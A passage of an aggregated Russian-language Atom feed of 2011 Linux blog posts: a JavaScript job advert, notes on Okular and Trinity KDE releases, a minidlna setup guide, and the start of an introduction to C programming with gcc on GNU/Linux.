      <category term="tablet PC" />
      <category term="javascript" />
      <category term="goodbye windows" />
      <category term="net" />
      <category term="socks" />
      <category term="IT" />
      <category term="perl" />
      <category term="mpd4" />
      <category term="asus" />
      <category term="поднимает настроение" />
      <category term="openvz" />
      <category term="ports" />
      <category term="государство" />
      <category term="curl" />
      <category term="юмор" />
      <category term="вопрос" />
      <category term="switch" />
      <category term="suphp" />
      <category term="pppoe" />
      <category term="firefox" />
      <category term="ppp" />
      <category term="политика" />
      <category term="find" />
      <category term="ldap" />
      <category term="shell" />
      <category term="законы" />
      <category term="блог" />
      <category term="windows" />
      <category term="irc" />
      <category term="freebsd" />
      <category term="ocr" />
      <category term="firewall" />
      <category term="kvm" />
      <category term="raid" />
      <category term="nic" />
      <category term="виртуализация" />
      <category term="hardware" />
      <category term="xen" />
      <category term="apache" />
      <category term="linux" />
      <category term="уязвимости" />
      <category term="virtualbox" />
      <category term="Россия" />
      <category term="sysctl" />
      <category term="mysql" />
      <category term="новости" />
      <category term="ssh" />
      <category term="патенты" />
      <category term="odf" />
      <category term="Open Source" />
      <category term="ooxml" />
      <category term="squid" />
      <category term="статья" />
      <category term="android" />
      <category term="freeradius" />
      <category term="kernel" />
      <category term="microsoft" />
      <category term="samba" />
      <category term="qemu" />
      <category term="jail" />
      <category term="vpn" />
      <category term="опрос" />
      <category term="ubuntu" />
      <category term="утилиты" />
      <category term="netflow" />
      <category term="ftp" />
      <category term="google" />
      <category term="SCO" />
      <category term="ссылки" />
      <category term="зеркало" />
      <author>
        <name>Князь</name>
        <email>noreply@blogger.com</email>
      </author>
      <link href="http://www.propheta.ru/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.propheta.ru/search/label/IT" rel="alternate" type="text/html" />
      <link href="http://www.blogger.com/feeds/7800991272705950027/posts/default/-/IT/-/IT?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <link href="http://feeds.feedburner.com/propheta-it" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <title>Propheta</title>
      <updated>2011-12-11T10:23:41Z</updated>
    </source>
  </entry>

  <entry>
    <id>http://feeds.feedburner.com/blog/2011/11/14/javascript-programmer-wanted/</id>
    <link href="http://solovyov.net/blog/2011/11/14/javascript-programmer-wanted/" rel="alternate" type="text/html" />
    <title>Ищем JavaScript-программиста</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Нам в команду нужен опытный JavaScript-программист, в офис, на полный рабочий
день.</p>
<p>Мы пишем (модное ;) приложение, которое объединяет чат, location-based сервисы и
т.п. Работает на мобильных устройствах и в браузере (сюда и нужен разработчик),
бэкенд на Erlang/XMPP.</p>
<p>Плюсы:</p>
<ul class="simple">
<li>офис в центре Киева, на улице Чапаева (м. Золотые Ворота/Университет) - зелено
(летом, хе-хе), тихо, близко ко всему;</li>
<li>удобные стулья и хорошие столы;</li>
<li>приятная зарплата (от $2,5k);</li>
<li>Backbone.js, CoffeeScript;</li>
<li>основатель - из Малайзии, есть отличная от нуля вероятность командировки;</li>
<li>нас трое в команде, так что вы не будете мелким незаметным винтиком. ;)</li>
</ul>
<p>Чего хочется от вас:</p>
<ul class="simple">
<li>знания джаваскрипта - не обязательно знать каждый мелкий подлый момент, но что
такое контекст исполнения функции и как работает объектная система знать
нужно;</li>
<li>какого-никакого умения написать немного CSS'a - у нас нет выделенного
верстальщика и пока что обходимся своими скромными силами;</li>
<li>понимания, что такое MVC, для чего оно нужно, etc;</li>
<li>знание Backbone.js - плюс (я понимаю, что коммерческого опыта может и не быть,
но если вы хотя бы его видели, я буду рад);</li>
<li>само-собой, какой-никакой английский.</li>
</ul>
<p>Если вам кажется, что вы подходите, пишите:</p>
<p><a class="reference external" href="mailto:alexander@solovyov.net">alexander@solovyov.net</a></p>
<p>Если вы опытный программист, но JS - не ваш основной язык, и вам интересно,
пишите всë равно. :) И если у вас есть еще вопросы, тоже пишите.</p>
<img height="1" src="http://feeds.feedburner.com/~r/AmazonByteflow/~4/jyV2gu8CfS0" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/jyV2gu8CfS0" height="1" width="1" /></div></content>
    <updated>2011-11-14T00:00:00Z</updated>
    <published>2011-11-14T00:00:00Z</published>
    <category term="javascript" />
    <category term="work" />
    <author>
      <name>Alexander Solovyov</name>
    </author>
    <source>
      <id>http://solovyov.net/</id>
      <author>
        <name>Alexander Solovyov</name>
      </author>
      <link href="http://solovyov.net/" rel="alternate" type="text/html" />
      <link href="http://feeds.feedburner.com/AmazonByteflow" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <title>solovyov.net</title>
      <updated>2012-01-16T19:48:50Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://knotes.ru/?p=4362</id>
    <link href="http://knotes.ru/2011/11/usable-okular/" rel="alternate" type="text/html" />
    <title>Удобный Okular</title>
    <summary>Продолжаем рассказ о победном шествии разработчиков KDE против застарелых проблем и недостающих функций в своих приложениях. Сегодня на очереди Okular — универсальный просмотрщик документов PDF, DjVu, PostScript, ODT и других.
Выдели это!
Да-да, то, что мы так долго ждали, наконец-то появилось! Благодаря работе, проделанной Mahfuzur Rahman Mamun в рамках GSoC2011, Okular теперь правильно выделяет и копирует многоколоночный [...]</summary>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Продолжаем рассказ о победном шествии разработчиков KDE против застарелых проблем и недостающих функций в своих приложениях. Сегодня на очереди Okular — универсальный просмотрщик документов PDF, DjVu, PostScript, ODT и других.</p>
<h3>Выдели это!</h3>
<p>Да-да, то, что мы так долго ждали, наконец-то появилось! Благодаря работе, <a href="http://nightcrawlerinshadow.wordpress.com/2011/08/20/advanced-text-selection-in-okular/">проделанной</a> Mahfuzur Rahman Mamun в рамках GSoC2011, Okular теперь правильно выделяет и копирует многоколоночный текст.</p>
<table align="center" border="0">
<tbody>
<tr>
<td><div class="wp-caption center" id="attachment_4364" style="width: 410px;"><a href="http://knotes.ru/wp-content/uploads/2011/11/comaprison-four-column.png"><img alt="" class="size-medium wp-image-4364 " height="311" src="http://knotes.ru/wp-content/uploads/2011/11/comaprison-four-column-400x311.png" title="Слева — как было, справа — как стало" width="400" /></a><p class="wp-caption-text"><i>Слева — как было, справа — как стало</i></p></div></td>
</tr>
</tbody>
</table>
<p>Заодно решилась проблема с невыделяемыми пробелами в DjVu:</p>
<table align="center" border="0">
<tbody>
<tr>
<td><div class="wp-caption center" id="attachment_4365" style="width: 210px;"><a href="http://knotes.ru/wp-content/uploads/2011/11/4-7_djvu_selection.png"><img alt="" class="size-thumbnail wp-image-4365 " height="200" src="http://knotes.ru/wp-content/uploads/2011/11/4-7_djvu_selection-200x200.png" title="Было" width="200" /></a><p class="wp-caption-text"><i>Было</i></p></div></td>
<td><div class="wp-caption center" id="attachment_4366" style="width: 210px;"><a href="http://knotes.ru/wp-content/uploads/2011/11/final-selection-removes-space-problem-in-djvu.png"><img alt="" class="size-thumbnail wp-image-4366 " height="200" src="http://knotes.ru/wp-content/uploads/2011/11/final-selection-removes-space-problem-in-djvu-200x200.png" title="Стало" width="200" /></a><p class="wp-caption-text"><i>Стало</i></p></div></td>
</tr>
</tbody>
</table>
<p>Кроме того, появился специальный режим для выделения таблиц. Обратите внимание, что разделители между строками/столбцами в нём можно добавлять и удалять вручную.</p>
<p style="text-align: center;"><a href="http://knotes.ru/wp-content/uploads/2011/11/okular_table_selection1.png"><img alt="" class="size-medium wp-image-4396 aligncenter" height="308" src="http://knotes.ru/wp-content/uploads/2011/11/okular_table_selection1-400x308.png" title="Табличное выделение" width="400" /></a></p>
<h3>Настрой это!</h3>
<p>Надоело, что все новые документы открываются со включённой подгонкой по ширине? Хочется уменьшить шаг прокрутки по PgUp/PgDown? Или включить отображение имени файла в заголовке окна?</p>
<p>Теперь всё это перестало быть проблемой:</p>
<p style="text-align: center;"><a href="http://knotes.ru/wp-content/uploads/2011/11/okular_settings1.png"><img alt="" class="alignnone size-large wp-image-4397" height="467" src="http://knotes.ru/wp-content/uploads/2011/11/okular_settings1-650x467.png" title="Настройки" width="650" /></a></p>
<p style="text-align: center;">
</p><h3>Перейди на это!</h3>
<p>Довольно часто в Сети попадаются PDF, содержащие т.н. <a href="http://techmonks.net/pdf-support-for-multiple-page-numbering-styles/">метки страниц</a>. Они являются частью стандарта PDF и позволяют организовать собственную нумерацию страниц (например, пропустить обложку и оглавление), использовать буквы вместо цифр и т.п.</p>
<p>И вот, новая версия Okular также обзавелась поддержкой этих меток. Достаточно открыть любой содержащий их документ, и панель номера страницы станет выглядеть вот так:</p>
<p style="text-align: center;"><img alt="" class="size-full wp-image-4371 aligncenter" height="38" src="http://knotes.ru/wp-content/uploads/2011/11/okular_statusbar.png" title="Используем метки страниц" width="238" /></p>
<h3>Протестируй это!</h3>
<p>Наконец, на это неделе <a href="http://tsdgeos.blogspot.com/2011/11/some-okular-testing-please.html">произошли</a> ещё три крупных обновления. Во-первых, был принят патч, улучшающий отклик интерфейса при отрисовке «тяжёлых» страниц. Во-вторых, реализация многопоточности была перемещена из бэкенда PDF/<a href="http://en.wikipedia.org/wiki/Poppler_(software)">poppler</a> в общий код (никаких новшеств, просто рефакторинг).</p>
<p>Третье и самое крупное обновление, как это ни парадоксально, никак не отразиться на пользователях Okular, но зато наверняка понравится пользователям Kile (редактора TeX для KDE). Оно <a href="https://git.reviewboard.kde.org/r/102946/">сделало</a> Okular KPart очень удобным инструментом для <a href="http://sourceforge.net/apps/mediawiki/kile/index.php?title=Live_Preview">показа превью</a> генерируемого документа. Например, появилась подсветка (пока очень простенькая) редактируемого участка:</p>
<p style="text-align: center;"><a href="http://knotes.ru/wp-content/uploads/2011/11/okular_part.png"><img alt="" class="alignnone size-large wp-image-4398" height="322" src="http://knotes.ru/wp-content/uploads/2011/11/okular_part-650x322.png" title="Okular KPart" width="650" /></a></p>
<p>На этом всё. Скачивайте последние версии, изучайте, тестируйте и помогайте разработчикам в нахождении ошибок.</p>
<p>Ах да, всё вышеперечисленное мы увидим в KDE SC 4.8.</p><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/O1uM5yOiaio" height="1" width="1" /></div></content>
    <updated>2011-11-07T10:32:38Z</updated>
    <category term="Ход разработки" />
    <category term="KDE SC 4.8" />
    <category term="Okular" />
    <author>
      <name>AX</name>
    </author>
    <source>
      <id>http://knotes.ru</id>
      <link href="http://knotes.ru" rel="alternate" type="text/html" />
      <link href="http://feeds.feedburner.com/KNotes" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Всё о KDE</subtitle>
      <title>K Notes</title>
      <updated>2012-01-10T22:01:38Z</updated>
    </source>
  </entry>

  <entry xml:lang="ru">
    <id>http://rulinux.net.ru/481 at http://rulinux.net.ru</id>
    <link href="http://rulinux.net.ru/node/481" rel="alternate" type="text/html" />
    <title>Релиз Trinity 3.5.13 (форк KDE3), установка на Debian Squeeze, обновление</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><img alt="KDE Trinity" src="http://www.trinitydesktop.org/wiki/pub/TrinityLogos/trinitytext.png" style="float: left;" /><br />
<a href="http://www.trinitydesktop.org/wiki/bin/view/Documentation/Releases_3_5_13">1 ноября</a> вышел <a href="http://www.trinitydesktop.org/">KDE 3.5.13 Trinity</a>. На зеркалах пока не все пакеты. Поставил из <a href="http://trinity-users.pearsoncomputing.net/?0::1668">Nightly Builds</a>. </p>
<p>Обновлялся с 3.5.12, предварительно накатил 300+ накопившихся апдейтов стабильной версии Debian прямо из иксов, включая ядро, сами иксы и aptitude, который обновил себя же :) Ощутил разницу в upgrade, которые предлагает aptitude и apt-get -- первый отследил ненужные более по зависимостям пакеты и предложил сразу удалить их, не стал обновлять некоторые пакеты, которые позже оказались ненужными и были удалены вручную. После рестарта пришлось заменить в логин-скрине тип сессии с Default на TDE, остальное все сразу заработало без глюков и донастройки. А в вашем дистрибутиве Linux как дела с апдейтами?</p>
Блог: <a href="http://rulinux.net.ru/blog/sin">RU Linux</a><img height="1" src="http://feeds.feedburner.com/~r/RULinux/~4/W0EClZbsVbU" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/W0EClZbsVbU" height="1" width="1" /></div></summary>
    <updated>2011-11-06T17:30:50Z</updated>
    <author>
      <name>sin</name>
    </author>
    <source>
      <id>http://rulinux.net.ru</id>
      <link href="http://rulinux.net.ru" rel="alternate" type="text/html" />
      <link href="http://feeds.feedburner.com/RULinux" rel="self" type="application/rss+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Сайт об использовании Linux на десктопах в России. Здесь можно попросить записать или недорого заказать свободный софт почтой у пользователей сайта, там же найти помощников при установке и настройке Linux в образовательном учреждении своего города. После регистрации на сайте можно добавить себя в список распространителей свободного софта и предложить помощь учителям своего города, создать свой блог.</subtitle>
      <title>RU Linux</title>
      <updated>2011-11-06T17:30:50Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://vanoc.ru/?p=1265</id>
    <link href="http://vanoc.ru/runix/android-wifi-i-minidlna/" rel="alternate" type="text/html" />
    <title>android, wifi и minidlna</title>
    <summary>Так уж сложилось, что сегодня пятница, есть свободное время, а так же несколько устройств с андройдом, комп с арчем и wifi точка. Как следствие установка minidlna и просмотр фильмов находящихся на компе с планшета. В арче Minidlna ставится командой sudo yaourt -S minidlna Вся настройка сводится к редактированию файла /etc/minidlna.conf В нем достаточно указать пути [...]</summary>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Так уж сложилось, что сегодня пятница, есть свободное время, а так же несколько устройств с андройдом, комп с арчем и wifi точка.</p>
<p>Как следствие установка <strong>minidlna</strong> и просмотр фильмов находящихся на компе с планшета.</p>
<p>В арче Minidlna ставится командой<br />
<code>sudo yaourt -S minidlna</code></p>
<p>Вся настройка сводится к редактированию файла <strong>/etc/minidlna.conf</strong><br />
В нем достаточно указать пути до директорий с музыкой и фильмами<br />
<code>media_dir=A,/media/sda5/music<br />
media_dir=V,/media/sda5/films</code><br />
раскомментировать и как-то назвать свой комп<br />
<code>friendly_name=vanocpc</code><br />
а также подправить интервал обновления медиатеки<br />
<code>notify_interval=60</code></p>
<p>Теперь можно смело запускать<br />
<code>sudo /etc/rc.d/minidlna start</code></p>
<p>Так же надо бы добавить minidlna к демонам в /etc/rc.conf для автозапуска.</p>
<p><strong>Upd</strong>: лучше все-таки добавить в автозапуск иксов. Т.к. на момент запуска демонов wifi не поднят и minidlna не стартует.</p>
<p>Для просмотра видео с андройда установил BubbleUPnP. Проблем с кодировкой нет, видео запускается с задержкой ~3-4 секунды, перемотка работает великолепно.</p>
<p><strong>Upd</strong>: в итоге отказался от использования minidlna и ushare установив vsftpd на комп, ES explorer и mx video player на планшет.</p><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/Z1pi1J4wt4k" height="1" width="1" /></div></content>
    <updated>2011-11-04T18:01:33Z</updated>
    <category term="arch" />
    <category term="runix" />
    <category term="android" />
    <category term="dlna" />
    <category term="minidlna" />
    <author>
      <name>vanoc</name>
    </author>
    <source>
      <id>http://vanoc.ru</id>
      <link href="http://vanoc.ru" rel="alternate" type="text/html" />
      <link href="http://feeds.feedburner.com/helicopternetruubuntu" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>блогосайт. заметки.</subtitle>
      <title>vanoc.ru » runix</title>
      <updated>2012-01-26T08:02:01Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-3628051270185801752.post-2668654436667455339</id>
    <link href="http://iportnov.blogspot.com/feeds/2668654436667455339/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://iportnov.blogspot.com/2011/10/gnulinux.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/3628051270185801752/posts/default/2668654436667455339" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/3628051270185801752/posts/default/2668654436667455339" rel="self" type="application/atom+xml" />
    <link href="http://iportnov.blogspot.com/2011/10/gnulinux.html" rel="alternate" type="text/html" />
    <title>Введение в прикладное программирование под GNU/Linux</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><span style="font-style: italic;">Это конспект, который я готовил для доклада на <a href="http://school2011.masu-inform.ru/">конференции</a>, проводившейся местным университетом совместно с нашей <a href="http://lug-mgn.ru/">LUG</a>. Доклад «для самых маленьких», так что профессионалам просьба не жаловаться на поверхностность и обзорность.</span><br /><br /><div id="content"> <div class="sect1"> <h2 id="_аудитория">Аудитория</h2> <div class="sectionbody"> <div class="paragraph"><p>Эта статья расчитана на два вида читателей.  Во-первых, это люди, имеющие опыт программирования под MS Windows, но не  имеющие такого опыта под GNU/Linux. Во-вторых, это люди, не имеющие  опыта программирования вовсе. Однако, я предполагаю, что читатель в  общем знаком с общепринятой в программировании терминологией, и ему не  нужно объяснять, например, что такое «программа», «функция»,  «компилятор» или «отладка».</p></div> </div> </div> <div class="sect1"> <h2 id="_средства_разработки">Средства разработки</h2> <div class="sectionbody"> <div class="paragraph"><p>Я буду рассматривать разработку с  использованием тех средств, которые являются наиболее «родными» для  GNU/Linux. К ним относятся:</p></div> <div class="ulist"><ul><li> <p> Язык программирования C </p> </li><li> <p> Командная оболочка bash </p> </li><li> <p> Текстовые редакторы Vim и Emacs </p> </li><li> <p> Компилятор GCC </p> </li><li> <p> Отладчик GDB </p> </li><li> <p> Утилита для сборки проекта GNU make </p> </li><li> <p> Система управления версиями Git </p> </li><li> <p> Оконная система X11 </p> </li></ul></div> <div class="paragraph"><p>Выбор именно этих средств не является догмой.  Каждое из выше перечисленных средств может быть при желании заменено на  другое. Однако, обычно под фразами наподобие «среда разработки Linux»  понимается именно этот набор инструментов.</p></div> </div> </div> <div class="sect1"> <h2 id="_языки_программирования">Языки программирования</h2> <div class="sectionbody"> <div class="paragraph"><p>Наиболее «родным» языком программирования для GNU/Linux является C. Это обусловлено следующими факторами:</p></div> <div class="ulist"><ul><li> <p> GNU/Linux заимствует многие идеи (практически, идеологию) операционной системы UNIX; </p> </li><li> <p> Операционная система UNIX была написана на языке C (собственно, этот язык создавался именно для написания этой ОС); </p> </li><li> <p> Соответственно, ядро Linux и системное окружение GNU написаны тоже на C. </p> </li></ul></div> <div class="paragraph"><p>Ниже я буду рассматривать разработку с  использованием языка C. Однако, этот выбор не является догмой. Другими  популярными при разработке под GNU/Linux языками являются C++, Python,  Perl. Конечно, могут использоваться и любые другие языки.</p></div> </div> </div> <div class="sect1"> <h2 id="_среда_разработки">Среда разработки</h2> <div class="sectionbody"> <div class="paragraph"><p>В течение последних двух десятилетий очень  широкое распространение получили т.н. IDE — интегрированные среды  разработки. Такая среда включает в себя текстовый редактор, компилятор,  отладчик, средства сборки проекта и мн.др. Такие среды есть и под  GNU/Linux (наиболее популярны Eclipse, NetBeans, IDEA, KDevelop,  Anjuta). Однако, история разработки под UNIX-подобные системы  показывает, что IDE не являются не только единственным, но и наиболее  эффективным средством разработки. Практически, правильный ответ на  вопрос «какая самая лучшая IDE под GNU/Linux» — это «GNU/Linux это и  есть IDE».</p></div> <div class="paragraph"><p>Часто можно встретить мнение, что большой  проект без IDE разрабатывать невозможно. Это мнение легко опровергается.  Первые версии UNIX писались даже не в Vim (его тогда ещё не было), а в  Ed. Это так называемый «построчный» текстовый редактор, в котором вы  можете редактировать за раз только одну строку текста. Весь файл на  экране не отображается. В случае с UNIX по-другому и быть не могло — у  разработчиков не было никаких экранов, а общение с системой  осуществлялось при помощи телетайпов. Современное ядро Linux пишется в  основном в редакторах Emacs и Vim.</p></div> <div class="paragraph"><p>Многие утилиты UNIX вызывают «текстовый  редактор по умолчанию». Команда, запускающая текстовый редактор по  умолчанию, берётся из переменной окружения <tt>$EDITOR</tt>. Некоторые утилиты смотрят сначала в переменную <tt>$VISUAL</tt>, и, лишь если она не установлена, в переменную <tt>$EDITOR</tt>.  Это исторически сложившееся поведение: к старым компьютерам зачастую не  было подключено никакого дисплея, а только телетайп, поэтому запускать  экранный (визуальный) редактор смысла не было. В современных  дистрибутивах обычно по умолчанию оказывается <tt>EDITOR=vi</tt> или <tt>EDITOR=nano</tt>. Указать использование другого редактора для одной команды можно так:</p></div> <div class="literalblock"> <div class="content"> <pre><tt>EDITOR=emacs some-command</tt></pre> </div></div> <div class="paragraph"><p>Чтобы использовать нужный редактор по умолчанию всегда, нужно добавить в файл <tt>~/.profile</tt> строчку типа</p></div> <div class="literalblock"> <div class="content"> <pre><tt>export EDITOR=emacs</tt></pre> </div></div> <div class="paragraph"><p>Исторически сложилось так, что «настоящими»  текстовыми редакторами для программистов являются только Vim и Emacs  (просто из-за того, что у них самая долгая история развития именно в  качестве текстовых редакторов для программистов). Остальные редакторы  находятся в положении догоняющих.</p></div> </div> </div> <div class="sect1"> <h2 id="_командная_оболочка">Командная оболочка</h2> <div class="sectionbody"> <div class="paragraph"><p>Командная оболочка (или командный  интерпретатор) — это программа, принимающая команды от пользователя на  некотором достаточно простом языке программирования и выполняющая их.  Большинство команд запускают одноимённые программы. Отдельные команды  представляют собой конструкции языка программирования оболочки.</p></div> <div class="paragraph"><p>Стандарт POSIX включает описание минимального  набора возможностей, предоставляемых командной оболочкой. Реально  используемые оболочки предоставляют, как правило, больше возможностей.</p></div> <div class="paragraph"><p>ОС семейств DOS и Windows заимствовали  некоторые функции командной оболочки из UNIX, однако их авторы пошли на  существенные упрощения, из-за чего функционал <tt>COMMAND.COM</tt> и <tt>cmd.exe</tt> получился сильно урезанным. PowerShell вполне на уровне, но работает существенно по-другому.</p></div> <div class="paragraph"><p>В рамках этой статьи я ограничусь  использованием командной оболочки bash (как наиболее распространённой и  используемой по умолчанию в большинстве дистрибутивов) для запуска  компилятора и других средств разработки. Хороший обзор использования  командной оболочки можно найти, например, в известной книге <a>[kernigan_pike]</a>.</p></div> </div> </div> <div class="sect1"> <h2 id="_документация">Документация</h2> <div class="sectionbody"> <div class="paragraph"><p>Все средства разработки и библиотеки в  GNU/Linux обычно довольно хорошо документированы. Традиционно для  документации используется специальный формат и утилита для его просмотра  — <tt>man</tt>. Документация в системе делится на несколько разделов:</p></div> <div class="olist arabic"><ol class="arabic"><li> <p> Команды пользователя (например, ls, gcc или man) </p> </li><li> <p> Системные вызовы — API ядра ОС </p> </li><li> <p> Библиотечные функции </p> </li><li> <p> Драйвера и т.п </p> </li><li> <p> Форматы файлов </p> </li><li> <p> Игры и т.п </p> </li><li> <p> Различные обзоры подсистем </p> </li><li> <p> Команды, используемые для системного администрирования </p> </li></ol></div> <div class="paragraph"><p>Для вызова раздела документации по имени нужно указать это имя при вызове команды man (например, <tt>man ls</tt>).  Иногда разделы с одинаковым названием есть сразу в нескольких разделах  документации документации. Указать конкретный раздел можно при вызове  man (например, <tt>man 3 printf</tt>).</p></div> <div class="paragraph"><p>Более подробную информацию о справочной системе <tt>man</tt> см. в <tt>man man</tt>.</p></div> <div class="paragraph"><p>Утилиты системного окружения GNU часто используют для документации формат info. См., например, <tt>info Coreutils</tt>.</p></div> </div> </div> <div class="sect1"> <h2 id="_компилятор">Компилятор</h2> <div class="sectionbody"> <div class="paragraph"><p>Сейчас существует много компиляторов языка C,  более-менее совместимых с различными стандартами. Тем не менее, пока что  в среде GNU/Linux наиболее применимым остаётся компилятор C, входящий в  комплект GNU Compilers Collection (GCC). Этот компилятор, кроме  стандарта C, поддерживает некоторое количество расширений стандарта. Эти  расширения, в частности, широко используются в исходных текстах ядра  Linux. В последнее время появляются компиляторы, способные  скомпилировать ядро Linux (например, llvm-clang, или EKO).</p></div> <div class="paragraph"><p>Компилятор GCC запускается из командной оболочки командой вида</p></div> <div class="literalblock"> <div class="content"> <pre><tt>gcc [OPTIONS] program.c</tt></pre> </div></div> <div class="paragraph"><p>где <tt>program.c</tt> — имя входного файла. Кроме того, по стандарту POSIX, компилятор может быть запущен командой <tt>cc program.c</tt> (cc — от "C compiler").</p></div> <div class="paragraph"><p>При обычном запуске компилятор пытается создать исполняемый файл. По умолчанию, выходной файл называется <tt>a.out</tt> (такое название осталось от древних версий UNIX). Другое название можно задать с помощью опции компилятора <tt>-o</tt>, например,</p></div> <div class="literalblock"> <div class="content"> <pre><tt>gcc -o program program.c</tt></pre> </div></div> <div class="paragraph"><p>При сборке программы из нескольких модулей  компилятору можно подавать на вход несколько исходных файлов или файлов  объектного кода, например,</p></div> <div class="literalblock"> <div class="content"> <pre><tt>gcc -o program main.c module1.o module2.o …</tt></pre> </div></div> <div class="paragraph"><p>Чтобы только скомпилировать один исходный файл в объектный код (не пытаясь собрать исполняемый файл), нужно дать команду вида</p></div> <div class="literalblock"> <div class="content"> <pre><tt>gcc -c module.c</tt></pre> </div></div> <div class="paragraph"><p>(имя выходного файла по умолчанию будет module.o).</p></div> <div class="paragraph"><p>Для сборки программы часто бывают нужны  библиотеки. В Linux используются два типа библиотек: библиотеки для  статической и динамической компоновки. При статической компоновке  библиотека при сборке программы целиком включается в состав исполняемого  файла. При динамической компоновке в исполняемый файл вписывается  только название динамической библиотеки, а поиск этого файла и  компоновка происходят при запуске программы.</p></div> <div class="paragraph"><p>Статическая библиотека в UNIX-подобных системах представляет собой архив (старинного формата <tt>ar</tt>), включающий набор объектных файлов. Такой архив создаётся командой вида</p></div> <div class="literalblock"> <div class="content"> <pre><tt>ar r libsomething.a module1.o module2.o …</tt></pre> </div></div> <div class="paragraph"><p>Имена файлов библиотек традиционно начинаются с префикса <tt>lib</tt>.</p></div> <div class="paragraph"><p>Динамически загружаемая библиотека  представляет собой объектный файл специального формата (расчитанного на  динамическую загрузку). Такая библиотека создаётся командой вида</p></div> <div class="literalblock"> <div class="content"> <pre><tt>gcc -shared -o libsomething.so module1.c module2.c …</tt></pre> </div></div> <div class="paragraph"><p>Для использования библиотеки при сборке программы её нужно указать компилятору при помощи опции <tt>-l</tt>, например</p></div> <div class="literalblock"> <div class="content"> <pre><tt>gcc -o program -lm program.c</tt></pre> </div></div> <div class="paragraph"><p>(здесь будет использоваться файл библиотеки <tt>libm.so</tt>, префикс <tt>lib</tt>  компилятор подставляет по умолчанию). По умолчанию компилятор собирает  программу, использующую динамические библиотеки. Если нужно использовать  статические версии библиотек, компилятору нужно указать опцию <tt>-static</tt>.</p></div> <div class="paragraph"><p>Подробную информацию об опциях gcc см. в <tt>man gcc</tt>.</p></div> </div> </div> <div class="sect1"> <h2 id="_hello_world">Hello, world!</h2> <div class="sectionbody"> <div class="paragraph"><p>Считается, что традиция начинать изучение  языка программирования с написания программы, выводящей строку "Hello,  world!", пошла с книги Кернигана и Ричи "Язык C" <a>[kernigan_richie]</a>. В случае с языком C эта программа выглядит следующим образом:</p></div> <div class="listingblock"> <div class="content"> <pre><tt><span style="font-weight: bold;"><span style="color: #000080;">#include</span></span> &lt;stdio.h&gt;&lt;stdio.h&gt;<br /><br /><span style="color: #009900;">int</span> <span style="font-weight: bold;"><span style="color: #000000;">main</span></span><span style="color: #990000;">(</span><span style="color: #009900;">int</span> argc<span style="color: #990000;">,</span> <span style="color: #009900;">char</span><span style="color: #990000;">*</span> argv<span style="color: #990000;">[])</span> <span style="color: #FF0000;">{<br /></span><span style="font-weight: bold;"><span style="color: #000000;">printf</span></span><span style="color: #990000;">(</span><span style="color: #FF0000;">"Hello world!</span><span style="color: #CC33CC;">\n</span><span style="color: #FF0000;">"</span><span style="color: #990000;">);</span><br /><span style="font-weight: bold;"><span style="color: #0000FF;">return</span></span> <span style="color: #993399;">0</span><span style="color: #990000;">;</span> <span style="color: #FF0000;"><br />}</span>&lt;/stdio.h&gt;</tt></pre></div></div> <div class="paragraph"><p>Чтобы запустить эту программу, этот текст нужно записать в файл с именем, скажем, <tt>hello.c</tt>, и из директории, в которой расположен этот файл, дать команду вида</p></div> <div class="literalblock"> <div class="content"> <pre><tt>gcc -o hello hello.c</tt></pre> </div></div> <div class="paragraph"><p>Впрочем, в случае такой простой программы достаточно дать команду</p></div> <div class="literalblock"> <div class="content"> <pre><tt>make hello</tt></pre> </div></div> <div class="paragraph"><p>(я поясню ниже, почему эти две команды работают одинаково). В результате в той же директории появится исполняемый файл с именем <tt>hello</tt>. Запустить его можно командой</p></div> <div class="literalblock"> <div class="content"> <pre><tt>./hello</tt></pre> </div></div> </div> </div> <div class="sect1"> <h2 id="_порядок_сборки">Порядок сборки</h2> <div class="sectionbody"> <div class="paragraph"><p>Остановимся несколько подробнее на том, что  именно делает компилятор. Порядок действий компилятора C традиционен, и  применяется компиляторами некоторых других языков.</p></div><br /><a href="http://1.bp.blogspot.com/-pQomkwucRHk/TqrTl_qx8CI/AAAAAAAAAC8/EXOMc5JQWKs/s1600/compiling.png"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5668575730698678306" src="http://1.bp.blogspot.com/-pQomkwucRHk/TqrTl_qx8CI/AAAAAAAAAC8/EXOMc5JQWKs/s320/compiling.png" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 320px; height: 215px;" /></a><br /><br /><div class="paragraph"><p>На входе компилятор имеет в общем случае набор  файлов с исходными текстами. Перед началом собственно компиляции эти  файлы обрабатываются т.н. препроцессором (программа <tt>cpp</tt>). Главная функция этой программы — выполнение директив вида 